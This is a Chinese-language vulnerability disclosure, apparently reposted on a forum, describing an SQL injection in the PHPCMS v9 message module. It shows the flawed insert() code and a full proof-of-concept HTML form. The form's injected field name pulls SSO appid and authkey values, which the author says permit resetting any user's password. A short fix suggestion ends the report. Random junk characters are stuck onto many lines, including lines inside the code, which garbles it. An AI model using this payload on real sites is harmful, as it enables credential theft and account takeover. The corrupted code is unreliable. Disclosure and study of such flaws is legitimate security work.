|
|
简要描述:6 a0 x+ J& ]; T2 H* W9 b
% F. M1 K5 V$ Y2 u2 m* R8 `; A* z5 Q
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
( V+ H% a C. ^0 u( M7 [. ?6 ^ v5 p: o$ q7 s+ a
明天再更新下一个漏洞。, p$ J! V: s, L. ~6 X/ z
详细说明:
( c, ?( S6 \9 V: @2 Y4 N: o# ?在/phpcms9/phpcms/modules/message/index.php中有代码如下:
+ K4 R3 A* D$ W$ B6 @5 K' K2 v' D( q- R, D
$messageid = $this->message_db->insert($_POST['info'],true);
& G4 r) K% n$ U% _8 u5 z: d# k1 q7 l0 x+ z! \
' S: |: h. u% O1 n% A- x" Xinsert方法是key value的,代码如下:
. H( h+ }# e: o% d# i, v, J2 I- u& g
public function insert($data, $table, $return_insert_id = false, $replace = false) {8 |" B2 l8 U3 U3 u
if(!is_array( $data ) || $table == '' || count($data) == 0) {
( x4 u% ^! t/ Y1 s1 K return false;6 J N; M, f# R2 Q2 c* [# f K
}2 E# [' s2 x9 ^% F+ P
: y# K8 f# K! v3 ~7 U8 I. M/ O
$fielddata = array_keys($data);) f6 Y( C9 T( c: K
$valuedata = array_values($data);2 F/ V8 Z) ~5 ^6 ]' b0 I
array_walk($fielddata, array($this, 'add_special_char'));
+ k+ ^3 V* l, P9 L7 v! {& k! b$ u array_walk($valuedata, array($this, 'escape_string'));
7 I4 ^$ h0 N5 s+ o8 S- b ( I1 F- \. v! ^+ Y* M7 w
$field = implode (',', $fielddata);
1 K) O7 G$ i0 Z0 z' B' X' T $value = implode (',', $valuedata);/ L4 @! j+ }4 V+ N8 i% c
. d6 w1 Q# y5 Z$ _" E/ G; p2 h9 l& }
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
- W# L1 \7 Z8 q/ W $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
$ t, A8 g4 z9 y# K. M1 o $return = $this->execute($sql);
) ?% S4 I3 o( l, v* H7 S; ?, b return $return_insert_id ? $this->insert_id() : $return;! E1 t% F; W$ h! @3 w
}
! m8 M3 w$ G( d/ K# R4 q; e! r9 q. Z
+ F* U. W% V. j3 y5 l- H/ G$ k, `0 W, R d8 E
嗯,很遗憾的是" x: D9 d2 u6 H6 |/ H
" B6 @$ q' u# p7 zarray_walk($fielddata, array($this, 'add_special_char'));5 s6 `- E7 S% R5 ]$ b
: r. d5 O; D# M9 R* j7 a! V) b; x; X) u
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。) ^# q8 D# J' l3 t
7 |, L/ a* t) a, y. w* V+ J到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
/ q' S4 m7 K5 s- M" R/ m& b6 r' \ `& Z+ s1 Z. A/ ]( Q* x, C
漏洞证明:
0 u: ?+ Q5 a: F: u读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
5 I! v8 P) k n' o% H
! a( m; c- Z ~
' b1 @) o; X! n9 o- P5 q表单如下:用户名什么的得自己改一改。
8 m! W: n# D; k! d<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
/ q1 h# H, v9 b, j<table width="100%" cellspacing="0" class="table_form">! N; x, Z% j0 y. k3 ]0 }' q
<tr>
8 E2 d/ p6 v3 b2 ~<th>标 题:</th>+ Q9 F4 z2 m8 \$ C6 i/ t
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
, A5 D# m4 ^ M; a4 m4 o. [</tr> * M/ M4 O# T/ ^' u* }' l4 H
<tr>& V. A0 t( _& K8 \, \1 S9 ]
<th>内 容:</th>( O; S9 {5 _5 t1 U/ M
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>" P+ k, |+ {. |) W% k% }
</tr>" x+ z9 i! u, X4 ?( s7 ^
<input type="hidden" name="info[replyid]" value="2" />
$ R" e* O9 s) z' s' u; L# w7 L<input type="hidden" name="info[send_to_id]" value="cc" /> s6 K% p) H! Q } W
<input type="hidden" name="info[send_from_id]" value="hh">- Z$ A+ {7 R9 u0 y; V
<!-- 漏洞的利用重点在这里开始 -->2 I# V: K3 N: W j4 c3 Z
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
8 Y ~, V# l6 C( F- D2 X* m; u<!-- 漏洞的利用重点在这里结束 -->9 ~1 G8 h+ i- \" J5 f- C
<tr>
# U( C2 {' g7 ~. {<th>验证码:</th>" s* A3 m% O/ N/ T5 K1 k3 Q
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
+ L: i; `3 V& f h+ Q1 R, [</tr>
1 M$ u5 q* s( Q2 {3 ^8 V. n5 i# M<tr>2 i+ S4 }7 Q- p; O; F
<td></td>1 i5 {. S- y. W( t* s& {* N
<td colspan="2"><label>
D5 S7 {8 @) U5 y1 f, Y7 h' r8 `<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# U( G. t( }1 j! }9 b( i4 T! T</label></td>
7 Y Y1 h; L( U# P) m0 _3 ]</tr>
5 t ]. j# X2 ]; q; I6 }</table>
6 b4 `/ e- ]& t# `</form> ]) L ?! ]2 W% R8 b
在add_special_char函数内对key做过滤就可以了。! ~- c4 X" |5 J% j$ Z7 O s
, m/ r& X+ v/ I- ?! L& }; {0 y% k5 V0 Q' X* @4 ]0 K
! L( k# s7 t1 f# M1 J4 I
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|